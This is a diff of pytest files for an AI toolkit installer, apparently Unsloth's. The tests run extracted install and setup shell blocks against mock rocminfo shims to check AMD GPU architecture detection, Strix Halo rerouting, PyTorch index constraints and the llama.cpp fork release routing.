+            r = subprocess.run([shell, "-c", script], env = env, capture_output = True, text = True)
+            assert r.returncode == 0, f"probe aborted under set -e: {r.stderr}"
+            assert "OK:gfx1151" in r.stdout, f"amd-smi fallback not reached: {r.stdout!r}"
+
+    def test_strix_reroute_reprobes_when_mask_hides_all(self):
+        """A visibility mask hiding every agent (ROCR_VISIBLE_DEVICES=-1) must not
+        skip the Strix reroute: get_torch_index_url reads the arch unmasked, so
+        the reroute must re-probe unmasked too or a masked Strix box gets the
+        broken generic wheels. A partial mask must keep its per-GPU selection.
+        Executed with mask-honouring shims, not a text match."""
+        shell = shutil.which("bash")
+        if not shell:
+            pytest.skip("bash needed to execute the probe block")
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        block = re.search(
+            r'^        _gfx_all=\$\(printf[^\n]*\n.*?(?=^        _strix_gfx="")',
+            source,
+            re.S | re.M,
+        )
+        assert block, "could not extract the gfx-detection block"
+        with tempfile.TemporaryDirectory() as d:
+            # rocminfo honours ROCR_VISIBLE_DEVICES like the real tool: -1 and
+            # set-but-empty hide both agents, 1 renumbers to the dGPU only,
+            # unset shows both.
+            rocminfo = (
+                "#!/bin/sh\n"
+                'case "${ROCR_VISIBLE_DEVICES-__unset__}" in\n'
+                '  __unset__) printf "Name: gfx1151\\nName: gfx1201\\n" ;;\n'
+                '  ""|-1) echo "no visible agents" ;;\n'
+                '  1) printf "Name: gfx1201\\n" ;;\n'
+                '  *) printf "Name: gfx1151\\nName: gfx1201\\n" ;;\n'
+                "esac\n"
+            )
+            for name, body in (("rocminfo", rocminfo), ("amd-smi", "#!/bin/sh\nexit 0\n")):
+                p = os.path.join(d, name)
+                with open(p, "w", encoding = "utf-8") as f:
+                    f.write(body)
+                os.chmod(p, 0o755)
+            script = (
+                "set -euo pipefail\n" + block.group(0) + '\nprintf "OK:%s\\n" "$_runtime_gfx"\n'
+            )
+
+            def run(**extra):
+                env = dict(os.environ, PATH = d + os.pathsep + os.environ.get("PATH", ""), **extra)
+                env.pop("UNSLOTH_ROCM_GFX_ARCH", None)
+                env.pop("HIP_VISIBLE_DEVICES", None)
+                return subprocess.run(
+                    [shell, "-c", script], env = env, capture_output = True, text = True
+                )
+
+            # Mask hides everything: re-probe must recover the first GPU (Strix).
+            r = run(ROCR_VISIBLE_DEVICES = "-1")
+            assert r.returncode == 0, f"masked probe aborted: {r.stderr}"
+            assert "OK:gfx1151" in r.stdout, f"reroute blinded by full mask: {r.stdout!r}"
+            # A SET-but-empty mask also hides every agent and must re-probe too
+            # (the ${VAR+x} guard, not ${VAR:-}).
+            r0 = run(ROCR_VISIBLE_DEVICES = "")
+            assert r0.returncode == 0, f"empty-mask probe aborted: {r0.stderr}"
+            assert "OK:gfx1151" in r0.stdout, f"reroute blinded by empty mask: {r0.stdout!r}"
+            # Partial mask: enumeration already reflects it; the dGPU selection
+            # must survive (no unmasked re-probe overriding the user's pick).
+            r2 = run(ROCR_VISIBLE_DEVICES = "1")
+            assert r2.returncode == 0, f"partial-mask probe aborted: {r2.stderr}"
+            assert "OK:gfx1201" in r2.stdout, f"partial mask selection lost: {r2.stdout!r}"
+
+    def test_strix_routing_helpers_cover_rocm714(self):
+        # Reroute for any generic pytorch.org index below the 7.13 arch floor (7.0,
+        # 7.2, a future 7.3+), never at/above it -- mirrors install.sh _rocm_leaf_below.
+        assert stack_mod._generic_pytorch_rocm_tag((7, 14)) == "rocm7.2"
+        assert stack_mod._strix_needs_amd_arch_index((7, 14)) is True
+        assert stack_mod._strix_needs_amd_arch_index((7, 0)) is True
+        assert stack_mod._strix_needs_amd_arch_index((6, 0)) is True
+        assert stack_mod._strix_needs_amd_arch_index((5, 0)) is False
 
     def test_torch_constraint_updated_for_strix_amd_index(self):
         """install.sh must set TORCH_CONSTRAINT>=2.11 when routing Strix to AMD index."""
         source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
         assert "TORCH_CONSTRAINT" in source and "2.11" in source
 
+    def test_torch_constraint_211_matches_leaf_not_whole_url(self):
+        """The 2.11 constraint case must match the index LEAF, not the whole URL.
+
+        A custom UNSLOTH_PYTORCH_MIRROR whose base path contains a gfx/rocm7.2
+        segment (e.g. https://mirror.local/gfx-cache) with a cu*/cpu family must
+        not be pushed to the torch 2.11 line -- same leaf-only reasoning the
+        UNSLOTH_TORCH_BACKEND classification uses.
+        """
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        # The 2.11 constraint block must switch on $_torch_index_leaf, not the full
+        # $TORCH_INDEX_URL (a */gfx* match false-positives on a mirror base path). Only the
+        # _grouped_mm-bug gfx families (gfx120X-all / gfx1151 / gfx1150) are pushed to 2.11;
+        # a bare gfx* would also floor gfx110X-all/gfx90a/gfx908, left bare on purpose.
+        assert 'case "$_torch_index_leaf" in\n    rocm7.2|gfx120x-all|gfx1151|gfx1150)' in source, (
+            "the torch>=2.11 constraint must match the specific gfx leaves that need "
+            "it (rocm7.2|gfx120x-all|gfx1151|gfx1150), not a bare gfx* or the whole URL"
+        )
+
     def test_amd_rocm_mirror_env_var_respected(self):
         """install.sh must honour UNSLOTH_AMD_ROCM_MIRROR for air-gapped installs."""
         source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
@@ -2934,9 +4306,9 @@ class TestServerStartupRocmFixes:
         assert '"BNB_ROCM_VERSION" not in os.environ' in source
 
     # ── hipInfo.exe PATH prepend (bitsandbytes arch-probe fix) ────────────────
-    # bnb's get_rocm_gpu_arch() runs hipinfo.exe via PATH at import; the AMD
-    # wheel ships it in venv Scripts (on PATH only for activated venvs), so
-    # without the prepend bnb logs "[WinError 2]" when launched directly.
+    # bnb's get_rocm_gpu_arch() runs hipinfo.exe via PATH at import; the AMD wheel ships it
+    # in venv Scripts (on PATH only for activated venvs), so without the prepend bnb logs
+    # "[WinError 2]" when launched directly.
 
     def test_main_py_prepends_hipinfo_dir_to_path(self):
         """main.py must make hipInfo.exe resolvable before bnb imports."""
@@ -3164,21 +4536,24 @@ class TestRocmGfxForwarding:
         assert "--rocm-gfx" in source
         assert "$script:ROCmGfxArch" in source
 
-    def test_setup_sh_routes_inferred_gfx_to_fork(self):
-        # An inferred gfx arch must route to the fork even without ROCm tooling.
-        # Pin the specific guard (a bare "${_setup_gfx:-}" also appears elsewhere).
+    def test_setup_sh_routes_unconditionally_to_fork(self):
+        # CPU-only hosts no longer fall back to ggml-org -- the release-repo
+        # decision is an unconditional fork assignment now. Pin the line text.
         source = _SETUP_SH_PATH.read_text(encoding = "utf-8")
-        assert '[ "$_LINUX_HAS_GPU" = false ] && [ -n "${_setup_gfx:-}" ]' in source
+        assert '_HELPER_RELEASE_REPO="unslothai/llama.cpp"' in source
+        assert '_HELPER_RELEASE_REPO="ggml-org/llama.cpp"' not in source
 
-    def test_setup_ps1_routes_inferred_gfx_to_fork(self):
-        # On Windows, a resolved $script:ROCmGfxArch counts as a fork install
-        # even when $HasROCm is false (Adrenalin-only, no HIP runtime).
+    def test_setup_ps1_routes_unconditionally_to_fork(self):
+        # Same on Windows: the fork now ships the windows-cpu / windows-arm64
+        # bundles, so $HelperReleaseRepo is an unconditional fork assignment.
         source = _SETUP_PS1_PATH.read_text(encoding = "utf-8")
-        assert "$HasNvidiaSmi -or $HasROCm -or $script:ROCmGfxArch" in source
+        assert '$HelperReleaseRepo = "unslothai/llama.cpp"' in source
+        assert "$HelperReleaseRepo = if (" not in source
 
-    # The assertions above pin the guard *text*; the tests below *execute* the
-    # real routing block and assert the resolved repo, so a refactor that keeps
-    # the literal but breaks the inferred-gfx -> fork decision is still caught.
+    # The text pins above guard the literal. The tests below execute the real routing line
+    # from setup.sh / setup.ps1 and assert the resolved release repo, so a refactor that
+    # reintroduces a conditional (or a ggml-org branch) is still caught. Inputs vary
+    # (CPU-only, inferred/forwarded gfx, usable NVIDIA) to prove no host hits ggml-org.
 
     @staticmethod
     def _resolve_setup_sh_repo(
@@ -3187,15 +4562,18 @@ class TestRocmGfxForwarding:
         setup_gfx,
         rocm_gfx_arch_env = "",
     ):
-        """Run setup.sh's routing block under bash with PATH emptied (no ROCm tooling) and return _HELPER_RELEASE_REPO."""
+        """Run setup.sh's release-repo routing block under bash and return the
+        resolved _HELPER_RELEASE_REPO. PATH is emptied so any stray tooling probe
+        misses; routing is unconditional, so the GPU inputs only prove no branch
+        reroutes a host to ggml-org."""
         import shutil
 
         bash = shutil.which("bash")
         if bash is None:
             pytest.skip("bash not available")
         source = _SETUP_SH_PATH.read_text(encoding = "utf-8")
-        start = source.index("\n_LINUX_HAS_GPU=false\n") + 1
-        end = source.index("\nunset _GPU_TOOL", start) + len("\nunset _GPU_TOOL")
+        start = source.index('\n_HELPER_RELEASE_REPO="unslothai/llama.cpp"\n') + 1
+        end = source.index("\n_LLAMA_PR=", start)
         block = source[start:end]
         assert "_HELPER_RELEASE_REPO" in block, "setup.sh routing anchors not found"
         env = {
@@ -3217,25 +4595,31 @@ class TestRocmGfxForwarding:
         assert result.returncode == 0, result.stderr
         return result.stdout.strip()
 
-    def test_setup_sh_inferred_gfx_resolves_to_fork(self):
-        # Only a name-inferred gfx arch -> route to the fork's per-gfx prebuilt
-        # (not ggml-org). x64 and arm64 share the fork branch.
-        assert self._resolve_setup_sh_repo("x86_64", False, "gfx1100") == "unslothai/llama.cpp"
-        assert self._resolve_setup_sh_repo("aarch64", False, "gfx1100") == "unslothai/llama.cpp"
-
-    def test_setup_sh_env_forwarded_gfx_resolves_to_fork(self):
-        # No probe fired but UNSLOTH_ROCM_GFX_ARCH is set: adopt the env arch
-        # and route to the fork, same as name-inference.
-        repo = self._resolve_setup_sh_repo("x86_64", False, "", rocm_gfx_arch_env = "gfx1100")
-        assert repo == "unslothai/llama.cpp"
-
-    def test_setup_sh_cpu_host_still_resolves_to_ggml(self):
-        # A real CPU host (no GPU, no inferred gfx, no env override) must keep routing to ggml-org.
-        assert self._resolve_setup_sh_repo("x86_64", False, "") == "ggml-org/llama.cpp"
+    @pytest.mark.parametrize(
+        "machine, nvidia_usable, setup_gfx, env_gfx",
+        [
+            ("x86_64", False, "", ""),  # plain CPU host (used to take ggml-org)
+            ("aarch64", False, "", ""),  # plain CPU arm64 host (used to take ggml-org)
+            ("x86_64", False, "gfx1100", ""),  # name-inferred gfx
+            ("x86_64", False, "", "gfx1100"),  # env-forwarded gfx
+            ("x86_64", True, "", ""),  # usable NVIDIA
+        ],
+    )
+    def test_setup_sh_routing_block_always_resolves_to_fork(
+        self, machine, nvidia_usable, setup_gfx, env_gfx
+    ):
+        assert (
+            self._resolve_setup_sh_repo(
+                machine, nvidia_usable, setup_gfx, rocm_gfx_arch_env = env_gfx
+            )
+            == "unslothai/llama.cpp"
+        )
 
     @staticmethod
-    def _resolve_setup_ps1_repo(has_nvidia, has_rocm, gfx_arch):
-        """Run setup.ps1's $HelperReleaseRepo selection under pwsh and return the resolved repo."""
+    def _resolve_setup_ps1_repo():
+        """Run setup.ps1's $HelperReleaseRepo assignment under pwsh and return the
+        resolved repo. The assignment is unconditional now, so there are no host
+        inputs to vary."""
         import shutil
 
         pwsh = shutil.which("pwsh")
@@ -3243,21 +4627,11 @@ class TestRocmGfxForwarding:
             pytest.skip("pwsh not available")
         source = _SETUP_PS1_PATH.read_text(encoding = "utf-8")
         line = next(
-            (
-                ln
-                for ln in source.splitlines()
-                if ln.strip().startswith("$HelperReleaseRepo = if (")
-            ),
+            (ln for ln in source.splitlines() if ln.strip().startswith("$HelperReleaseRepo =")),
             None,
         )
         assert line is not None, "$HelperReleaseRepo selection not found in setup.ps1"
-        harness = (
-            f"$HasNvidiaSmi = ${'true' if has_nvidia else 'false'}\n"
-            f"$HasROCm = ${'true' if has_rocm else 'false'}\n"
-            f"$script:ROCmGfxArch = '{gfx_arch}'\n"
-            f"{line}\n"
-            "Write-Output $HelperReleaseRepo"
-        )
+        harness = f"{line}\nWrite-Output $HelperReleaseRepo"
         result = subprocess.run(
             [pwsh, "-NoProfile", "-Command", harness],
             capture_output = True,
@@ -3267,18 +4641,15 @@ class TestRocmGfxForwarding:
         assert result.returncode == 0, result.stderr
         return result.stdout.strip()
 
-    def test_setup_ps1_inferred_gfx_resolves_to_fork(self):
-        # Adrenalin-only host: $HasROCm false but gfx inferred -> fork's windows-rocm bundle.
-        assert self._resolve_setup_ps1_repo(False, False, "gfx1100") == "unslothai/llama.cpp"
-
-    def test_setup_ps1_cpu_host_still_resolves_to_ggml(self):
-        # No NVIDIA, no ROCm, no inferred gfx -> CPU host stays on ggml-org.
-        assert self._resolve_setup_ps1_repo(False, False, "") == "ggml-org/llama.cpp"
+    def test_setup_ps1_routing_resolves_to_fork(self):
+        # Windows routing is unconditional now: CPU-only Windows (x64 and arm64)
+        # uses the fork's windows-cpu / windows-arm64 bundles, not ggml-org.
+        assert self._resolve_setup_ps1_repo() == "unslothai/llama.cpp"
 
 
 # TEST: _pick_rocm_gfx_target -- visible-device selection from rocminfo output.
-# Honours CUDA/HIP_VISIBLE_DEVICES so a mixed-arch host installs the prebuilt
-# for the selected GPU, not GPU 0.
+# Honours CUDA/HIP_VISIBLE_DEVICES so a mixed-arch host installs the prebuilt for the
+# selected GPU, not GPU 0.
 
 _pick_rocm_gfx_target = prebuilt_mod._pick_rocm_gfx_target
 
@@ -3426,8 +4797,9 @@ class TestInstallShDropinPersistence:
     def test_gate5_early_return_persists_dropin(self):
         """The rocminfo-already-works early return must call the persist helper before returning."""
         source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
-        # The persist call must precede `return 0` at the rocminfo gfx1151 gate.
-        gate = source.find("Name:[[:space:]]*gfx1151")
+        # The persist call must precede `return 0` at the rocminfo GPU-agent gate
+        # (uniquely identified by the `!/generic/` clause the other probes lack).
+        gate = source.find("Name:[[:space:]]*gfx[1-9]/ && !/generic/")
         assert gate != -1
         window = source[gate : gate + 900]
         assert "_persist_rocm_wsl_dropin" in window
@@ -3441,6 +4813,53 @@ class TestInstallShDropinPersistence:
         assert "profile.d/unsloth-rocm-wsl.sh" in body
 
 
+_STRIXHALO_WSL_PATH = PACKAGE_ROOT / "scripts" / "install_rocm_wsl_strixhalo.sh"
+
+
+class TestWslRerouteNvidiaGuard:
+    """_maybe_reroute_strixhalo_to_2404 must skip the AMD reroute on hybrid AMD+NVIDIA hosts by
+    reusing _has_usable_nvidia_gpu (CUDA_VISIBLE_DEVICES-aware + /proc/driver/nvidia fallback),
+    which must be defined before the reroute's call site so it is actually available."""
+
+    def test_reroute_calls_nvidia_helper_before_amd_signal(self):
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        start = source.find("_maybe_reroute_strixhalo_to_2404()")
+        assert start != -1
+        # Slice the WHOLE function body (to its closing brace at column 0), not a
+        # fixed-length window: preamble growth must not push the signals out of view.
+        end = source.find("\n}", start)
+        assert end != -1
+        body = source[start:end]
+        nv = body.find("_has_usable_nvidia_gpu")
+        wmi = body.find("_wsl_amd_gpu_name")
+        assert nv != -1, "reroute must consult _has_usable_nvidia_gpu before deciding to reroute"
+        assert wmi != -1
+        # The NVIDIA guard must precede the AMD/WMI signal and return early.
+        assert nv < wmi
+        assert body.find("return 0", nv) < wmi
+
+    def test_nvidia_helper_and_deps_defined_before_reroute_callsite(self):
+        source = _INSTALL_SH_PATH.read_text(encoding = "utf-8")
+        call = source.find("\n_maybe_reroute_strixhalo_to_2404 || true")
+        assert call != -1
+        for fn in ("_run_bounded() {", "_cvd_hides_nvidia() {", "_has_usable_nvidia_gpu() {"):
+            idx = source.find(fn)
+            assert idx != -1 and idx < call, f"{fn} must be defined before the reroute call"
+
+
+class TestStrixhaloGfxOverridePipefail:
+    """The UNSLOTH_WSL_GFX override check must use a consuming grep, not grep -q: under
+    `set -o pipefail` an early -q exit SIGPIPEs printf and misreports the arch on large output."""
+
+    def test_gfx_override_uses_consuming_grep(self):
+        source = _STRIXHALO_WSL_PATH.read_text(encoding = "utf-8")
+        idx = source.find('grep -E "Name:[[:space:]]*${GFX}')
+        assert idx != -1, "GFX override must use a consuming grep -E (not grep -q)"
+        line = source[idx : source.find("\n", idx)]
+        assert ">/dev/null" in line
+        assert 'grep -qE "Name:[[:space:]]*${GFX}' not in source
+
+
 class TestLlamaCppRuntimeWslOrdering:
     """The serve-time launcher mirrors binary_env: system HIP before the bundle dir on WSL."""
 
diff --git a/tests/studio/install/test_selection_logic.py b/tests/studio/install/test_selection_logic.py
index 464aa9a578..8ebcd6cc86 100644
--- a/tests/studio/install/test_selection_logic.py
+++ b/tests/studio/install/test_selection_logic.py
@@ -31,17 +31,8 @@ PrebuiltFallback = INSTALL_LLAMA_PREBUILT.PrebuiltFallback
 LinuxCudaSelection = INSTALL_LLAMA_PREBUILT.LinuxCudaSelection
 UPSTREAM_REPO = INSTALL_LLAMA_PREBUILT.UPSTREAM_REPO
 
-normalize_compute_cap = INSTALL_LLAMA_PREBUILT.normalize_compute_cap
-normalize_compute_caps = INSTALL_LLAMA_PREBUILT.normalize_compute_caps
-parse_cuda_visible_devices = INSTALL_LLAMA_PREBUILT.parse_cuda_visible_devices
-supports_explicit_visible_device_matching = (
-    INSTALL_LLAMA_PREBUILT.supports_explicit_visible_device_matching
-)
-select_visible_gpu_rows = INSTALL_LLAMA_PREBUILT.select_visible_gpu_rows
-compatible_linux_runtime_lines = INSTALL_LLAMA_PREBUILT.compatible_linux_runtime_lines
 pick_windows_cuda_runtime = INSTALL_LLAMA_PREBUILT.pick_windows_cuda_runtime
 compatible_windows_runtime_lines = INSTALL_LLAMA_PREBUILT.compatible_windows_runtime_lines
-runtime_line_from_cuda_version = INSTALL_LLAMA_PREBUILT.runtime_line_from_cuda_version
 apply_approved_hashes = INSTALL_LLAMA_PREBUILT.apply_approved_hashes
 linux_cuda_choice_from_release = INSTALL_LLAMA_PREBUILT.linux_cuda_choice_from_release
 windows_cuda_attempts = INSTALL_LLAMA_PREBUILT.windows_cuda_attempts
@@ -69,6 +60,14 @@ pinned_macos_release_tag = INSTALL_LLAMA_PREBUILT.pinned_macos_release_tag
 resolve_simple_install_release_plans = INSTALL_LLAMA_PREBUILT.resolve_simple_install_release_plans
 
 
+@pytest.fixture(autouse = True)
+def _disable_download_host_fast_path(monkeypatch):
+    # This module exercises the GitHub API enumeration and asset selection against
+    # mocked releases; keep the download-host fast path (real CDN) out of the way.
+    # test_download_host_resolve.py covers the fast path itself.
+    monkeypatch.setenv("UNSLOTH_LLAMA_DISABLE_DOWNLOAD_HOST_RESOLVE", "1")
+
+
 def load_studio_run_module(monkeypatch):
     logger = types.SimpleNamespace(
         debug = lambda *a, **k: None,
@@ -262,13 +261,13 @@ def mock_windows_runtime(monkeypatch, lines):
 
 
 # ===========================================================================
-# Studio run.py localhost warning
+# Unsloth run.py localhost warning
 # ===========================================================================
 
 
 class TestStudioLocalhostIpv6Warning:
     def _prepare_loopback(self, run_module, monkeypatch):
-        # Studio confirmed answering on the IPv4 loopback.
+        # Unsloth confirmed answering on the IPv4 loopback.
         monkeypatch.setattr(
             run_module,
             "_working_local_url",
@@ -319,7 +318,7 @@ class TestStudioLocalhostIpv6Warning:
         assert "http://localhost:8888" in captured.out
 
     def test_ipv6_listener_does_not_suppress_warning(self, monkeypatch):
-        # A process on ::1 is NOT Studio (binds 127.0.0.1 only), so the warning must
+        # A process on ::1 is NOT Unsloth (binds 127.0.0.1 only), so the warning must
         # still fire -- that is exactly when http://localhost opens the wrong service.
         run_module = load_studio_run_module(monkeypatch)
         self._prepare_loopback(run_module, monkeypatch)
@@ -348,7 +347,7 @@ class TestStudioLocalhostIpv6Warning:
         assert run_module._localhost_ipv6_mismatch_url("127.0.0.1", port) is None
 
     def test_ipv4_not_answering_suppresses_warning(self, monkeypatch):
-        # Studio not confirmed on 127.0.0.1 -> no warning.
+        # Unsloth not confirmed on 127.0.0.1 -> no warning.
         run_module = load_studio_run_module(monkeypatch)
         monkeypatch.setattr(run_module, "_working_local_url", lambda port: None)
         self._set_getaddrinfo(monkeypatch, [self._ipv6()])
@@ -444,165 +443,25 @@ class TestStudioLocalhostIpv6Warning:
 
 
 # ===========================================================================
-# A. normalize_compute_cap
+# A-F, H. Component-independent GPU/token helpers: the behavior tables live in
+# tests/studio/install/test_prebuilt_core.py (they are pure prebuilt_core
+# functions). This pin proves the installer still re-exports them from core, so
+# the master tables keep covering the names this module and its callers use.
 # ===========================================================================
 
 
-class TestNormalizeComputeCap:
-    def test_dotted_86(self):
-        assert normalize_compute_cap("8.6") == "86"
-
-    def test_dotted_leading_zero(self):
-        assert normalize_compute_cap("07.05") == "75"
-
-    def test_already_normalized(self):
-        assert normalize_compute_cap("75") == "75"
-
-    def test_int_input(self):
-        assert normalize_compute_cap(86) == "86"
-
-    def test_empty_string(self):
-        assert normalize_compute_cap("") is None
-
-    def test_whitespace(self):
-        assert normalize_compute_cap("  ") is None
-
-    def test_non_numeric(self):
-        assert normalize_compute_cap("x.y") is None
-
-    def test_triple_part(self):
-        assert normalize_compute_cap("8.6.0") is None
-
-    def test_zero_minor(self):
-        assert normalize_compute_cap("9.0") == "90"
-
-
-# ===========================================================================
-# B. normalize_compute_caps
-# ===========================================================================
-
-
-class TestNormalizeComputeCaps:
-    def test_deduplication(self):
-        assert normalize_compute_caps(["8.6", "86", "8.6"]) == ["86"]
-
-    def test_numeric_sort(self):
-        assert normalize_compute_caps(["9.0", "7.5", "8.6"]) == ["75", "86", "90"]
-
-    def test_drops_invalid(self):
-        assert normalize_compute_caps(["8.6", "bad", "", "7.5"]) == ["75", "86"]
-
-    def test_empty_input(self):
-        assert normalize_compute_caps([]) == []
-
-
-# ===========================================================================
-# C. parse_cuda_visible_devices
-# ===========================================================================
-
-
-class TestParseCudaVisibleDevices:
-    def test_none(self):
-        assert parse_cuda_visible_devices(None) is None
-
-    def test_empty(self):
-        assert parse_cuda_visible_devices("") == []
-
-    def test_minus_one(self):
-        assert parse_cuda_visible_devices("-1") == []
-
-    def test_single(self):
-        assert parse_cuda_visible_devices("0") == ["0"]
-
-    def test_multi(self):
-        assert parse_cuda_visible_devices("0,1,2") == ["0", "1", "2"]
-
-    def test_whitespace_stripped(self):
-        assert parse_cuda_visible_devices(" 0 , 1 ") == ["0", "1"]
-
-
-# ===========================================================================
-# D. supports_explicit_visible_device_matching
-# ===========================================================================
-
-
-class TestSupportsExplicitVisibleDeviceMatching:
-    def test_all_digits(self):
-        assert supports_explicit_visible_device_matching(["0", "1", "2"]) is True
-
-    def test_gpu_prefix(self):
-        assert supports_explicit_visible_device_matching(["GPU-abc123"]) is True
-
-    def test_none(self):
-        assert supports_explicit_visible_device_matching(None) is False
-
-    def test_empty(self):
-        assert supports_explicit_visible_device_matching([]) is False
-
-    def test_mixed_invalid(self):
-        assert supports_explicit_visible_device_matching(["0", "MIG-device"]) is False
-
-
-# ===========================================================================
-# E. select_visible_gpu_rows
-# ===========================================================================
-
-
-class TestSelectVisibleGpuRows:
-    ROWS = [
-        ("0", "GPU-aaa", "8.6"),
-        ("1", "GPU-bbb", "7.5"),
-        ("2", "GPU-ccc", "8.9"),
-    ]
-
-    def test_none_returns_all(self):
-        assert select_visible_gpu_rows(self.ROWS, None) == list(self.ROWS)
-
-    def test_empty_returns_empty(self):
-        assert select_visible_gpu_rows(self.ROWS, []) == []
-
-    def test_filter_by_index(self):
-        result = select_visible_gpu_rows(self.ROWS, ["0", "2"])
-        assert result == [("0", "GPU-aaa", "8.6"), ("2", "GPU-ccc", "8.9")]
-
-    def test_filter_by_uuid_case_insensitive(self):
-        result = select_visible_gpu_rows(self.ROWS, ["gpu-bbb"])
-        assert result == [("1", "GPU-bbb", "7.5")]
-
-    def test_dedup_same_device(self):
-        result = select_visible_gpu_rows(self.ROWS, ["0", "0"])
-        assert result == [("0", "GPU-aaa", "8.6")]
-
-    def test_missing_token(self):
-        result = select_visible_gpu_rows(self.ROWS, ["99"])
-        assert result == []
-
-
-# ===========================================================================
-# F. compatible_linux_runtime_lines
-# ===========================================================================
-
-
-class TestCompatibleLinuxRuntimeLines:
-    def test_no_driver(self):
-        host = make_host(driver_cuda_version = None)
-        assert compatible_linux_runtime_lines(host) == []
-
-    def test_driver_11_8(self):
-        host = make_host(driver_cuda_version = (11, 8))
-        assert compatible_linux_runtime_lines(host) == []
-
-    def test_driver_12_4(self):
-        host = make_host(driver_cuda_version = (12, 4))
-        assert compatible_linux_runtime_lines(host) == ["cuda12"]
-
-    def test_driver_13_0(self):
-        host = make_host(driver_cuda_version = (13, 0))
-        assert compatible_linux_runtime_lines(host) == ["cuda13", "cuda12"]
-
-    def test_future_major_derives_lines(self):
-        host = make_host(driver_cuda_version = (14, 0))
-        assert compatible_linux_runtime_lines(host) == ["cuda14", "cuda13", "cuda12"]
+def test_core_helper_aliases_bound_to_prebuilt_core():
+    import prebuilt_core as _core
+    for name in (
+        "normalize_compute_cap",
+        "normalize_compute_caps",
+        "parse_cuda_visible_devices",
+        "supports_explicit_visible_device_matching",
+        "select_visible_gpu_rows",
+        "compatible_linux_runtime_lines",
+        "runtime_line_from_cuda_version",
+    ):
+        assert getattr(INSTALL_LLAMA_PREBUILT, name) is getattr(_core, name), name
 
 
 # ===========================================================================
@@ -661,28 +520,6 @@ class TestCompatibleWindowsRuntimeLines:
         assert compatible_windows_runtime_lines(host) == ["cuda14", "cuda13", "cuda12"]
 
 
-# ===========================================================================
-# H. runtime_line_from_cuda_version
-# ===========================================================================
-
-
-class TestRuntimeLineFromCudaVersion:
-    def test_cuda_12(self):
-        assert runtime_line_from_cuda_version("12.6") == "cuda12"
-
-    def test_cuda_13(self):
-        assert runtime_line_from_cuda_version("13.0") == "cuda13"
-
-    def test_cuda_11(self):
-        assert runtime_line_from_cuda_version("11.8") is None
-
-    def test_none(self):
-        assert runtime_line_from_cuda_version(None) is None
-
-    def test_empty(self):
-        assert runtime_line_from_cuda_version("") is None
-
-
 # ===========================================================================
 # I. apply_approved_hashes
 # ===========================================================================
@@ -1629,7 +1466,7 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1674,7 +1511,7 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1720,8 +1557,10 @@ class TestResolveInstallAttempts:
         assert approved.release_tag == "llama-prebuilt-latest"
 
     def test_linux_cpu_fork_without_bundle_raises_no_upstream_fallback(self, monkeypatch):
-        # CPU-only Linux on the fork must not fall back to the ggml-org CPU asset; with
-        # no fork CPU bundle the resolver raises rather than reaching upstream.
+        # A CPU-only Linux host on the fork never falls back to the ggml-org CPU
+        # asset. CPU-only Linux now routes to the fork, but if a release manifest
+        # happens to ship no CPU bundle the resolver raises rather than quietly
+        # reaching for an upstream asset.
         host = make_host(
             has_usable_nvidia = False,
             has_physical_nvidia = False,
@@ -1737,7 +1576,7 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1769,7 +1608,7 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1818,7 +1657,7 @@ class TestResolveInstallAttempts:
         monkeypatch.setattr(
             INSTALL_LLAMA_PREBUILT,
             "iter_resolved_published_releases",
-            lambda requested_tag, published_repo, published_release_tag = "": iter(
+            lambda requested_tag, published_repo, published_release_tag = "", **_kwargs: iter(
                 [
                     INSTALL_LLAMA_PREBUILT.ResolvedPublishedRelease(
                         bundle = release,
@@ -1846,6 +1685,151 @@ class TestResolveInstallAttempts:
         assert attempts[0].name == asset_name
         assert attempts[0].source_label == "published"
 
+    @pytest.mark.parametrize(
+        "system, machine, asset_name, install_kind, bundle_profile",
+        [
+            # CPU-only Linux x64 -> fork linux-cpu (was ggml-org ubuntu-x64).
+            ("Linux", "x86_64", "app-b9625-linux-x64-cpu.tar.gz", "linux-cpu", "linux-cpu-x64"),
+            # CPU-only Linux arm64 -> fork linux-arm64 (was ggml-org ubuntu-arm64).
+            (
+                "Linux",
+                "aarch64",
+                "app-b9625-linux-arm64-cpu.tar.gz",
+                "linux-arm64",
+                "linux-cpu-arm64",
+            ),
+            # CPU-only Windows arm64 -> fork windows-arm64 (was ggml-org win-cpu-arm64).
+            (
+                "Windows",
+                "arm64",
+                "app-b9625-windows-arm64-cpu.zip",
+                "windows-arm64",
+                "windows-cpu-arm64",
+            ),
+        ],
+    )
+    def test_cpu_host_prefers_published_fork_asset(
+        self, monkeypatch, system, machine, asset_name, install_kind, bundle_profile
+    ):
+        # CPU-only hosts now select the fork's CPU bundle from the manifest and
+        # must never query ggml-org upstream assets. Windows x64 CPU is covered
+        # separately by test_windows_cpu_prefers_published_asset.
+        host = make_host(
+            system = system,
+            machine = machine,
+            has_usable_nvidia = False,
